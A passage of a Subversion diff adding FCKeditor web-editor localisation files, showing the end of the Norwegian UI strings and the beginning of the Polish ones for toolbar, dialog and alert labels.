+MergeCells			: "Slå sammen celler",
+SplitCell			: "Splitt celler",
+TableDelete			: "Slett tabell",
+CellProperties		: "Celleegenskaper",
+TableProperties		: "Tabellegenskaper",
+ImageProperties		: "Bildeegenskaper",
+FlashProperties		: "Flash Egenskaper",
+
+AnchorProp			: "Ankeregenskaper",
+ButtonProp			: "Knappegenskaper",
+CheckboxProp		: "Sjekkboksegenskaper",
+HiddenFieldProp		: "Skjult felt egenskaper",
+RadioButtonProp		: "Radioknappegenskaper",
+ImageButtonProp		: "Bildeknappegenskaper",
+TextFieldProp		: "Tekstfeltegenskaper",
+SelectionFieldProp	: "Dropdown menyegenskaper",
+TextareaProp		: "Tekstfeltegenskaper",
+FormProp			: "Skjemaegenskaper",
+
+FontFormats			: "Normal;Formatert;Adresse;Tittel 1;Tittel 2;Tittel 3;Tittel 4;Tittel 5;Tittel 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Lager XHTML. Vennligst vent...",
+Done				: "Ferdig",
+PasteWordConfirm	: "Teksten du prøver å lime inn ser ut som om den kommer fra word , du bør rense den før du limer inn , vil du gjøre dette?",
+NotCompatiblePaste	: "Denne kommandoen er tilgjenglig kun for Internet Explorer version 5.5 eller bedre. Vil du fortsette uten å rense?(Du kan lime inn som ren tekst)",
+UnknownToolbarItem	: "Ukjent menyvalg \"%1\"",
+UnknownCommand		: "Ukjent kommando \"%1\"",
+NotImplemented		: "Kommando ikke ennå implimentert",
+UnknownToolbarSet	: "Verktøylinjesett \"%1\" finnes ikke",
+NoActiveX			: "Din nettleser's sikkerhetsinstillinger kan begrense noen av funksjonene i redigeringsverktøyet. Du må aktivere \"Kjør ActiveXkontroller og plugins\". Du kan oppleve feil og advarsler om manglende funksjoner",
+BrowseServerBlocked : "Kunne ikke åpne dialogboksen for filarkiv. Pass på at du har slått av popupstoppere.",
+DialogBlocked		: "Kunne ikke åpne dialogboksen. Pass på at du har slått av popupstoppere.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Avbryt",
+DlgBtnClose			: "Lukk",
+DlgBtnBrowseServer	: "Bla igjennom server",
+DlgAdvancedTag		: "Avansert",
+DlgOpOther			: "<Annet>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Vennligst skriv inn URL'en",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ikke satt>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Språkretning",
+DlgGenLangDirLtr	: "Venstre til høyre (VTH)",
+DlgGenLangDirRtl	: "Høyre til venstre (HTV)",
+DlgGenLangCode		: "Språk kode",
+DlgGenAccessKey		: "Aksessknapp",
+DlgGenName			: "Navn",
+DlgGenTabIndex		: "Tab Indeks",
+DlgGenLongDescr		: "Utvidet beskrivelse",
+DlgGenClass			: "Stilarkklasser",
+DlgGenTitle			: "Tittel",
+DlgGenContType		: "Type",
+DlgGenLinkCharset	: "Lenket språkkart",
+DlgGenStyle			: "Stil",
+
+// Image Dialog
+DlgImgTitle			: "Bildeegenskaper",
+DlgImgInfoTab		: "Bildeinformasjon",
+DlgImgBtnUpload		: "Send det til serveren",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Last opp",
+DlgImgAlt			: "Alternativ tekst",
+DlgImgWidth			: "Bredde",
+DlgImgHeight		: "Høyde",
+DlgImgLockRatio		: "Lås forhold",
+DlgBtnResetSize		: "Tilbakestill størrelse",
+DlgImgBorder		: "Ramme",
+DlgImgHSpace		: "HMarg",
+DlgImgVSpace		: "VMarg",
+DlgImgAlign			: "Juster",
+DlgImgAlignLeft		: "Venstre",
+DlgImgAlignAbsBottom: "Abs bunn",
+DlgImgAlignAbsMiddle: "Abs midten",
+DlgImgAlignBaseline	: "Bunnlinje",
+DlgImgAlignBottom	: "Bunn",
+DlgImgAlignMiddle	: "Midten",
+DlgImgAlignRight	: "Høyre",
+DlgImgAlignTextTop	: "Tekst topp",
+DlgImgAlignTop		: "Topp",
+DlgImgPreview		: "Forhåndsvis",
+DlgImgAlertUrl		: "Vennligst skriv bildeurlen",
+DlgImgLinkTab		: "Lenke",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Egenskaper",
+DlgFlashChkPlay		: "Auto Spill",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Slå på Flash meny",
+DlgFlashScale		: "Skaler",
+DlgFlashScaleAll	: "Vis alt",
+DlgFlashScaleNoBorder	: "Ingen ramme",
+DlgFlashScaleFit	: "Skaler til å passeExact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Lenke",
+DlgLnkInfoTab		: "Lenkeinfo",
+DlgLnkTargetTab		: "Mål",
+
+DlgLnkType			: "Lenketype",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Lenke til bokmerke i teksten",
+DlgLnkTypeEMail		: "E-Post",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<annet>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Velg ett anker",
+DlgLnkAnchorByName	: "Anker etter navn",
+DlgLnkAnchorById	: "Element etter ID",
+DlgLnkNoAnchors		: "<Ingen anker i dokumentet>",
+DlgLnkEMail			: "E-Post Addresse",
+DlgLnkEMailSubject	: "Meldingsemne",
+DlgLnkEMailBody		: "Melding",
+DlgLnkUpload		: "Last opp",
+DlgLnkBtnUpload		: "Send til server",
+
+DlgLnkTarget		: "Mål",
+DlgLnkTargetFrame	: "<ramme>",
+DlgLnkTargetPopup	: "<popup vindu>",
+DlgLnkTargetBlank	: "Nytt vindu (_blank)",
+DlgLnkTargetParent	: "Foreldre vindu (_parent)",
+DlgLnkTargetSelf	: "Samme vindu (_self)",
+DlgLnkTargetTop		: "Hele vindu (_top)",
+DlgLnkTargetFrameName	: "Målramme",
+DlgLnkPopWinName	: "Popup vindus navn",
+DlgLnkPopWinFeat	: "Popup vindus egenskaper",
+DlgLnkPopResize		: "Endre størrelse",
+DlgLnkPopLocation	: "Adresselinje",
+DlgLnkPopMenu		: "Menylinje",
+DlgLnkPopScroll		: "Scrollbar",
+DlgLnkPopStatus		: "Statuslinje",
+DlgLnkPopToolbar	: "Verktøylinje",
+DlgLnkPopFullScrn	: "Full skjerm (IE)",
+DlgLnkPopDependent	: "Avhenging (Netscape)",
+DlgLnkPopWidth		: "Bredde",
+DlgLnkPopHeight		: "Høyde",
+DlgLnkPopLeft		: "Venstre posisjon",
+DlgLnkPopTop		: "Topp posisjon",
+
+DlnLnkMsgNoUrl		: "Vennligst skriv inn lenkens url",
+DlnLnkMsgNoEMail	: "Vennligst skriv inn e-postadressen",
+DlnLnkMsgNoAnchor	: "Vennligst velg ett anker",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Velg farge",
+DlgColorBtnClear	: "Tøm",
+DlgColorHighlight	: "Marker",
+DlgColorSelected	: "Velg",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Sett inn smil",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Velg spesielt tegn",
+
+// Table Dialog
+DlgTableTitle		: "Tabellegenskaper",
+DlgTableRows		: "Rader",
+DlgTableColumns		: "Kolonner",
+DlgTableBorder		: "Rammestørrelse",
+DlgTableAlign		: "Justering",
+DlgTableAlignNotSet	: "<Ikke satt>",
+DlgTableAlignLeft	: "Venstre",
+DlgTableAlignCenter	: "Midtjuster",
+DlgTableAlignRight	: "Høyre",
+DlgTableWidth		: "Bredde",
+DlgTableWidthPx		: "pixler",
+DlgTableWidthPc		: "prosent",
+DlgTableHeight		: "Høyde",
+DlgTableCellSpace	: "Celle marg",
+DlgTableCellPad		: "Celle polstring",
+DlgTableCaption		: "Tittel",
+DlgTableSummary		: "Sammendrag",
+
+// Table Cell Dialog
+DlgCellTitle		: "Celle egenskaper",
+DlgCellWidth		: "Bredde",
+DlgCellWidthPx		: "pixeler",
+DlgCellWidthPc		: "prosent",
+DlgCellHeight		: "Høyde",
+DlgCellWordWrap		: "Tekstbrytning",
+DlgCellWordWrapNotSet	: "<Ikke satt>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nei",
+DlgCellHorAlign		: "Horisontal justering",
+DlgCellHorAlignNotSet	: "<Ikke satt>",
+DlgCellHorAlignLeft	: "Venstre",
+DlgCellHorAlignCenter	: "Midtjuster",
+DlgCellHorAlignRight: "Høyre",
+DlgCellVerAlign		: "Vertikal justering",
+DlgCellVerAlignNotSet	: "<Ikke satt>",
+DlgCellVerAlignTop	: "Topp",
+DlgCellVerAlignMiddle	: "Midten",
+DlgCellVerAlignBottom	: "Bunn",
+DlgCellVerAlignBaseline	: "Bunnlinje",
+DlgCellRowSpan		: "Radspenn",
+DlgCellCollSpan		: "Kolonnespenn",
+DlgCellBackColor	: "Bakgrunnsfarge",
+DlgCellBorderColor	: "Rammefarge",
+DlgCellBtnSelect	: "Velg...",
+
+// Find Dialog
+DlgFindTitle		: "Finn",
+DlgFindFindBtn		: "Finn",
+DlgFindNotFoundMsg	: "Den spesifiserte teksten ble ikke funnet.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Erstatt",
+DlgReplaceFindLbl		: "Finn hva:",
+DlgReplaceReplaceLbl	: "Erstatt med:",
+DlgReplaceCaseChk		: "Riktig case",
+DlgReplaceReplaceBtn	: "Erstatt",
+DlgReplaceReplAllBtn	: "Erstatt alle",
+DlgReplaceWordChk		: "Finn hele ordet",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk innliming av tekst. Vennligst brukt snareveien (Ctrl+V).",
+PasteErrorCut	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk klipping av tekst. Vennligst brukt snareveien (Ctrl+X).",
+PasteErrorCopy	: "Din nettlesers sikkerhetsinstillinger tillater ikke automatisk kopiering av tekst. Vennligst brukt snareveien (Ctrl+C).",
+
+PasteAsText		: "Lim inn som ren tekst",
+PasteFromWord	: "Lim inn fra word",
+
+DlgPasteMsg2	: "Vennligst lim inn i den følgende boksen med tastaturet (<STRONG>Ctrl+V</STRONG>) og trykk <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Fjern skrifttyper",
+DlgPasteRemoveStyles	: "Fjern stildefinisjoner",
+DlgPasteCleanBox		: "Tøm boksen",
+
+// Color Picker
+ColorAutomatic	: "Automatisk",
+ColorMoreColors	: "Flere farger...",
+
+// Document Properties
+DocProps		: "Dokumentegenskaper",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankeregenskaper",
+DlgAnchorName		: "Ankernavn",
+DlgAnchorErrorName	: "Vennligst skriv inn ankernavnet",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ikke i ordboken",
+DlgSpellChangeTo		: "Endre til",
+DlgSpellBtnIgnore		: "Ignorer",
+DlgSpellBtnIgnoreAll	: "Ignorer alle",
+DlgSpellBtnReplace		: "Erstatt",
+DlgSpellBtnReplaceAll	: "Erstatt alle",
+DlgSpellBtnUndo			: "Angre",
+DlgSpellNoSuggestions	: "- ingen forslag -",
+DlgSpellProgress		: "Stavekontroll pågår...",
+DlgSpellNoMispell		: "Stavekontroll fullført: ingen feilstavinger funnet",
+DlgSpellNoChanges		: "Stavekontroll fullført: ingen ord endret",
+DlgSpellOneChange		: "Stavekontroll fullført: Ett ord endret",
+DlgSpellManyChanges		: "Stavekontroll fullført: %1 ord endret",
+
+IeSpellDownload			: "Stavekontroll ikke installert, vil du laste den ned nå?",
+
+// Button Dialog
+DlgButtonText		: "Tekst",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Navn",
+DlgCheckboxValue	: "Verdi",
+DlgCheckboxSelected	: "Valgt",
+
+// Form Dialog
+DlgFormName		: "Navn",
+DlgFormAction	: "Handling",
+DlgFormMethod	: "Metode",
+
+// Select Field Dialog
+DlgSelectName		: "Navn",
+DlgSelectValue		: "Verdi",
+DlgSelectSize		: "Størrelse",
+DlgSelectLines		: "Linjer",
+DlgSelectChkMulti	: "Tillat flervalg",
+DlgSelectOpAvail	: "Tilgjenglige alternativer",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Verdi",
+DlgSelectBtnAdd		: "Legg til",
+DlgSelectBtnModify	: "Endre",
+DlgSelectBtnUp		: "Opp",
+DlgSelectBtnDown	: "Ned",
+DlgSelectBtnSetValue : "Sett som valgt",
+DlgSelectBtnDelete	: "Slett",
+
+// Textarea Dialog
+DlgTextareaName	: "Navn",
+DlgTextareaCols	: "Kolonner",
+DlgTextareaRows	: "Rader",
+
+// Text Field Dialog
+DlgTextName			: "Navn",
+DlgTextValue		: "verdi",
+DlgTextCharWidth	: "Tegnbredde",
+DlgTextMaxChars		: "Maks antall tegn",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Passord",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Navn",
+DlgHiddenValue	: "Verdi",
+
+// Bulleted List Dialog
+BulletedListProp	: "Uordnet listeegenskaper",
+NumberedListProp	: "Ordnet listeegenskaper",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Sirkel",
+DlgLstTypeDisc		: "Hel sirkel",
+DlgLstTypeSquare	: "Firkant",
+DlgLstTypeNumbers	: "Numre(1, 2, 3)",
+DlgLstTypeLCase		: "Små bokstaver (a, b, c)",
+DlgLstTypeUCase		: "Store bokstaver(A, B, C)",
+DlgLstTypeSRoman	: "Små romerske tall(i, ii, iii)",
+DlgLstTypeLRoman	: "Store romerske tall(I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Generalt",
+DlgDocBackTab		: "Bakgrunn",
+DlgDocColorsTab		: "Farger og marginer",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Sidetittel",
+DlgDocLangDir		: "Språkretning",
+DlgDocLangDirLTR	: "Venstre til høyre (LTR)",
+DlgDocLangDirRTL	: "Høyre til venstre (RTL)",
+DlgDocLangCode		: "Språkkode",
+DlgDocCharSet		: "Tegnsett",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Annet tegnsett",
+
+DlgDocDocType		: "Dokumenttype header",
+DlgDocDocTypeOther	: "Annet dokumenttype header",
+DlgDocIncXHTML		: "Inkulder XHTML deklarasjon",
+DlgDocBgColor		: "Bakgrunnsfarge",
+DlgDocBgImage		: "Bakgrunnsbilde url",
+DlgDocBgNoScroll	: "Ikke scroll bakgrunnsbilde",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Besøkt lenke",
+DlgDocCActive		: "Aktiv lenke",
+DlgDocMargins		: "Sidemargin",
+DlgDocMaTop			: "Topp",
+DlgDocMaLeft		: "Venstre",
+DlgDocMaRight		: "Høyre",
+DlgDocMaBottom		: "Bunn",
+DlgDocMeIndex		: "Dokument nøkkelord (kommaseparert)",
+DlgDocMeDescr		: "Dokumentbeskrivelse",
+DlgDocMeAuthor		: "Forfatter",
+DlgDocMeCopy		: "Kopirett",
+DlgDocPreview		: "Forhåndsvising",
+
+// Templates Dialog
+Templates			: "Maler",
+DlgTemplatesTitle	: "Innholdsmaler",
+DlgTemplatesSelMsg	: "Velg malen du vil åpne<br>(innholdet du har skrevet blir tapt!):",
+DlgTemplatesLoading	: "Laster malliste. Vennligst vent...",
+DlgTemplatesNoTpl	: "(Ingen maler definert)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Om",
+DlgAboutBrowserInfoTab	: "Nettleserinfo",
+DlgAboutLicenseTab	: "Lisens",
+DlgAboutVersion		: "versjon",
+DlgAboutLicense		: "Lisensiert under GNU Lesser General Public License",
+DlgAboutInfo		: "Oversatt av Siteman AS<br /><a target=\"_blank\" href=\"http://www.siteman.no\">www.siteman.no</a><br /><br />For mer informasjon gå til"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pl.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pl.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/pl.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: pl.js
+ * 	Polish language file.
+ * 
+ * File Authors:
+ * 		Jakub Boesche (jboesche@gazeta.pl)
+ * 		Maciej Bochynski (maciej.bochynski@lubman.pl)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Zwiń pasek narzędzi",
+ToolbarExpand		: "Rozwiń pasek narzędzi",
+
+// Toolbar Items and Context Menu
+Save				: "Zapisz",
+NewPage				: "Nowa strona",
+Preview				: "Podgląd",
+Cut					: "Wytnij",
+Copy				: "Kopiuj",
+Paste				: "Wklej",
+PasteText			: "Wklej jako czysty tekst",
+PasteWord			: "Wklej z Worda",
+Print				: "Drukuj",
+SelectAll			: "Zaznacz wszystko",
+RemoveFormat		: "Usuń formatowanie",
+InsertLinkLbl		: "Hiperłącze",
+InsertLink			: "Wstaw/edytuj hiperłącze",
+RemoveLink			: "Usuń hiperłącze",
+Anchor				: "Wstaw/edytuj kotwicę",
+InsertImageLbl		: "Obrazek",
+InsertImage			: "Wstaw/edytuj obrazek",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Dodaj/Edytuj element Flash",
+InsertTableLbl		: "Tabela",
+InsertTable			: "Wstaw/edytuj tabelę",
+InsertLineLbl		: "Linia pozioma",
+InsertLine			: "Wstaw poziomą linię",
+InsertSpecialCharLbl: "Znak specjalny",
+InsertSpecialChar	: "Wstaw znak specjalny",
+InsertSmileyLbl		: "Emotikona",
+InsertSmiley		: "Wstaw emotikonę",
+About				: "O programie FCKeditor",
+Bold				: "Pogrubienie",
+Italic				: "Kursywa",
+Underline			: "Podkreślenie",
+StrikeThrough		: "Przekreślenie",
+Subscript			: "Indeks dolny",
+Superscript			: "Indeks górny",
+LeftJustify			: "Wyrównaj do lewej",
+CenterJustify		: "Wyrównaj do środka",
+RightJustify		: "Wyrównaj do prawej",
+BlockJustify		: "Wyrównaj do lewej i prawej",
+DecreaseIndent		: "Zmniejsz wcięcie",
+IncreaseIndent		: "Zwiększ wcięcie",
+Undo				: "Cofnij",
+Redo				: "Ponów",
+NumberedListLbl		: "Lista numerowana",
+NumberedList		: "Wstaw/usuń numerowanie listy",
+BulletedListLbl		: "Lista wypunktowana",
+BulletedList		: "Wstaw/usuń wypunktowanie listy",
+ShowTableBorders	: "Pokazuj ramkę tabeli",
+ShowDetails			: "Pokaż szczegóły",
+Style				: "Styl",
+FontFormat			: "Format",
+Font				: "Czcionka",
+FontSize			: "Rozmiar",
+TextColor			: "Kolor tekstu",
+BGColor				: "Kolor tła",
+Source				: "Źródło dokumentu",
+Find				: "Znajdź",
+Replace				: "Zamień",
+SpellCheck			: "Sprawdź pisownię",
+UniversalKeyboard	: "Klawiatura Uniwersalna",
+PageBreakLbl		: "Odstęp",
+PageBreak			: "Wstaw odstęp",
+
+Form			: "Formularz",
+Checkbox		: "Checkbox",
+RadioButton		: "Pole wyboru",
+TextField		: "Pole tekstowe",
+Textarea		: "Obszar tekstowy",
+HiddenField		: "Pole ukryte",
+Button			: "Przycisk",
+SelectionField	: "Lista wyboru",
+ImageButton		: "Przycisk obrazek",
+
+FitWindow		: "Maksymalizuj rozmiar edytora",
+
+// Context Menu
+EditLink			: "Edytuj hiperłącze",
+CellCM				: "Komórka",
+RowCM				: "Wiersz",
+ColumnCM			: "Kolumna",
+InsertRow			: "Wstaw wiersz",
+DeleteRows			: "Usuń wiersze",
+InsertColumn		: "Wstaw kolumnę",
+DeleteColumns		: "Usuń kolumny",
+InsertCell			: "Wstaw komórkę",
+DeleteCells			: "Usuń komórki",
+MergeCells			: "Połącz komórki",
+SplitCell			: "Podziel komórkę",
+TableDelete			: "Usuń tabelę",
+CellProperties		: "Właściwości komórki",
+TableProperties		: "Właściwości tabeli",
+ImageProperties		: "Właściwości obrazka",
+FlashProperties		: "Właściwości elementu Flash",
+
+AnchorProp			: "Właściwości kotwicy",
+ButtonProp			: "Właściwości przycisku",
+CheckboxProp		: "Checkbox - właściwości",
+HiddenFieldProp		: "Właściwości pola ukrytego",
+RadioButtonProp		: "Właściwości pola wyboru",
+ImageButtonProp		: "Właściwości przycisku obrazka",
+TextFieldProp		: "Właściwości pola tekstowego",
+SelectionFieldProp	: "Właściwości listy wyboru",
+TextareaProp		: "Właściwości obszaru tekstowego",
+FormProp			: "Właściwości formularza",
+
+FontFormats			: "Normalny;Tekst sformatowany;Adres;Nagłówek 1;Nagłówek 2;Nagłówek 3;Nagłówek 4;Nagłówek 5;Nagłówek 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Przetwarzanie XHTML. Proszę czekać...",
+Done				: "Gotowe",
+PasteWordConfirm	: "Tekst, który chcesz wkleić, prawdopodobnie pochodzi z programu Word. Czy chcesz go wyczyścic przed wklejeniem?",
+NotCompatiblePaste	: "Ta funkcja jest dostępna w programie Internet Explorer w wersji 5.5 lub wyższej. Czy chcesz wkleić tekst bez czyszczenia?",
+UnknownToolbarItem	: "Nieznany element paska narzędzi \"%1\"",
+UnknownCommand		: "Nieznana komenda \"%1\"",
+NotImplemented		: "Komenda niezaimplementowana",
+UnknownToolbarSet	: "Pasek narzędzi \"%1\" nie istnieje",
+NoActiveX			: "Ustawienia zabezpieczeń twojej przeglądarki mogą ograniczyć niektóre funkcje edytora. Musisz włączyć opcję \"Uruchamianie formantów Activex i dodatków plugin\". W przeciwnym wypadku mogą pojawiać się błędy.",
+BrowseServerBlocked : "Okno menadżera plików nie może zostać otwarte. Upewnij się, że wszystkie blokady popup są wyłączone.",
+DialogBlocked		: "Nie można otworzyć okna dialogowego. Upewnij się, że wszystkie blokady popup są wyłączone.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Anuluj",
+DlgBtnClose			: "Zamknij",
+DlgBtnBrowseServer	: "Przeglądaj",
+DlgAdvancedTag		: "Zaawansowane",
+DlgOpOther			: "<Inny>",
+DlgInfoTab			: "Informacje",
+DlgAlertUrl			: "Proszę podać URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<nieustawione>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Kierunek tekstu",
+DlgGenLangDirLtr	: "Od lewej do prawej (LTR)",
+DlgGenLangDirRtl	: "Od prawej do lewej (RTL)",
+DlgGenLangCode		: "Kod języka",
+DlgGenAccessKey		: "Klawisz dostępu",
+DlgGenName			: "Nazwa",
+DlgGenTabIndex		: "Indeks tabeli",
+DlgGenLongDescr		: "Long Description URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Styl",
+
+// Image Dialog
+DlgImgTitle			: "Właściwości obrazka",
+DlgImgInfoTab		: "Informacje o obrazku",
+DlgImgBtnUpload		: "Syślij",
+DlgImgURL			: "Adres URL",
+DlgImgUpload		: "Wyślij",
+DlgImgAlt			: "Tekst zastępczy",
+DlgImgWidth			: "Szerokość",
+DlgImgHeight		: "Wysokość",
+DlgImgLockRatio		: "Zablokuj proporcje",
+DlgBtnResetSize		: "Przywróć rozmiar",
+DlgImgBorder		: "Ramka",
+DlgImgHSpace		: "Odstęp poziomy",
+DlgImgVSpace		: "Odstęp pionowy",
+DlgImgAlign			: "Wyrównaj",
+DlgImgAlignLeft		: "Do lewej",
+DlgImgAlignAbsBottom: "Do dołu",
+DlgImgAlignAbsMiddle: "Do środka w pionie",
+DlgImgAlignBaseline	: "Do linii bazowej",
+DlgImgAlignBottom	: "Do dołu",
+DlgImgAlignMiddle	: "Do środka",
+DlgImgAlignRight	: "Do prawej",
+DlgImgAlignTextTop	: "Do góry tekstu",
+DlgImgAlignTop		: "Do góry",
+DlgImgPreview		: "Podgląd",
+DlgImgAlertUrl		: "Podaj adres obrazka.",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Właściwości elementu Flash",
+DlgFlashChkPlay		: "Auto Odtwarzanie",
+DlgFlashChkLoop		: "Pętla",
+DlgFlashChkMenu		: "Włącz menu",
+DlgFlashScale		: "Skaluj",
+DlgFlashScaleAll	: "Pokaż wszystko",
+DlgFlashScaleNoBorder	: "Bez Ramki",
+DlgFlashScaleFit	: "Dokładne dopasowanie",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Hiperłącze",
+DlgLnkInfoTab		: "Informacje ",
+DlgLnkTargetTab		: "Cel",
+
+DlgLnkType			: "Typ hiperłącza",
+DlgLnkTypeURL		: "Adres URL",
+DlgLnkTypeAnchor	: "Odnośnik wewnątrz strony",
+DlgLnkTypeEMail		: "Adres e-mail",
+DlgLnkProto			: "Protokół",
+DlgLnkProtoOther	: "<inny>",
+DlgLnkURL			: "Adres URL",
+DlgLnkAnchorSel		: "Wybierz etykietę",
+DlgLnkAnchorByName	: "Wg etykiety",
+DlgLnkAnchorById	: "Wg identyfikatora elementu",
+DlgLnkNoAnchors		: "<W dokumencie nie zdefiniowano żadnych etykiet>",
+DlgLnkEMail			: "Adres e-mail",
+DlgLnkEMailSubject	: "Temat",
+DlgLnkEMailBody		: "Treść",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Wyślij",
+
+DlgLnkTarget		: "Cel",
+DlgLnkTargetFrame	: "<ramka>",
+DlgLnkTargetPopup	: "<wyskakujące okno>",
+DlgLnkTargetBlank	: "Nowe okno (_blank)",
+DlgLnkTargetParent	: "Okno nadrzędne (_parent)",
+DlgLnkTargetSelf	: "To samo okno (_self)",
+DlgLnkTargetTop		: "Okno najwyższe w hierarchii (_top)",
+DlgLnkTargetFrameName	: "Nazwa Ramki Docelowej",
+DlgLnkPopWinName	: "Nazwa wyskakującego okna",
+DlgLnkPopWinFeat	: "Właściwości wyskakującego okna",
+DlgLnkPopResize		: "Możliwa zmiana rozmiaru",
+DlgLnkPopLocation	: "Pasek adresu",
+DlgLnkPopMenu		: "Pasek menu",
+DlgLnkPopScroll		: "Paski przewijania",
+DlgLnkPopStatus		: "Pasek statusu",
+DlgLnkPopToolbar	: "Pasek narzędzi",
+DlgLnkPopFullScrn	: "Pełny ekran (IE)",
+DlgLnkPopDependent	: "Okno zależne (Netscape)",
+DlgLnkPopWidth		: "Szerokość",
+DlgLnkPopHeight		: "Wysokość",
+DlgLnkPopLeft		: "Pozycja w poziomie",
+DlgLnkPopTop		: "Pozycja w pionie",
+
+DlnLnkMsgNoUrl		: "Podaj adres URL",
+DlnLnkMsgNoEMail	: "Podaj adres e-mail",
+DlnLnkMsgNoAnchor	: "Wybierz etykietę",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Wybierz kolor",
+DlgColorBtnClear	: "Wyczyść",
+DlgColorHighlight	: "Podgląd",
+DlgColorSelected	: "Wybrane",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Wstaw emotikonę",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Wybierz znak specjalny",
+
+// Table Dialog
+DlgTableTitle		: "Właściwości tabeli",
+DlgTableRows		: "Liczba wierszy",
+DlgTableColumns		: "Liczba kolumn",
+DlgTableBorder		: "Grubość ramki",
+DlgTableAlign		: "Wyrównanie",
+DlgTableAlignNotSet	: "<brak ustawień>",
+DlgTableAlignLeft	: "Do lewej",
+DlgTableAlignCenter	: "Do środka",
+DlgTableAlignRight	: "Do prawej",
+DlgTableWidth		: "Szerokość",
+DlgTableWidthPx		: "piksele",
+DlgTableWidthPc		: "%",
+DlgTableHeight		: "Wysokość",
+DlgTableCellSpace	: "Odstęp pomiędzy komórkami",
+DlgTableCellPad		: "Margines wewnętrzny komórek",
+DlgTableCaption		: "Tytuł",
+DlgTableSummary		: "Podsumowanie",
+
+// Table Cell Dialog
+DlgCellTitle		: "Właściwości komórki",
+DlgCellWidth		: "Szerokość",
+DlgCellWidthPx		: "piksele",
+DlgCellWidthPc		: "%",
+DlgCellHeight		: "Wysokość",
+DlgCellWordWrap		: "Zawijanie tekstu",
+DlgCellWordWrapNotSet	: "<brak ustawień>",
+DlgCellWordWrapYes	: "Tak",
+DlgCellWordWrapNo	: "Nie",
+DlgCellHorAlign		: "Wyrównanie poziome",
+DlgCellHorAlignNotSet	: "<brak ustawień>",
+DlgCellHorAlignLeft	: "Do lewej",
+DlgCellHorAlignCenter	: "Do środka",
+DlgCellHorAlignRight: "Do prawej",
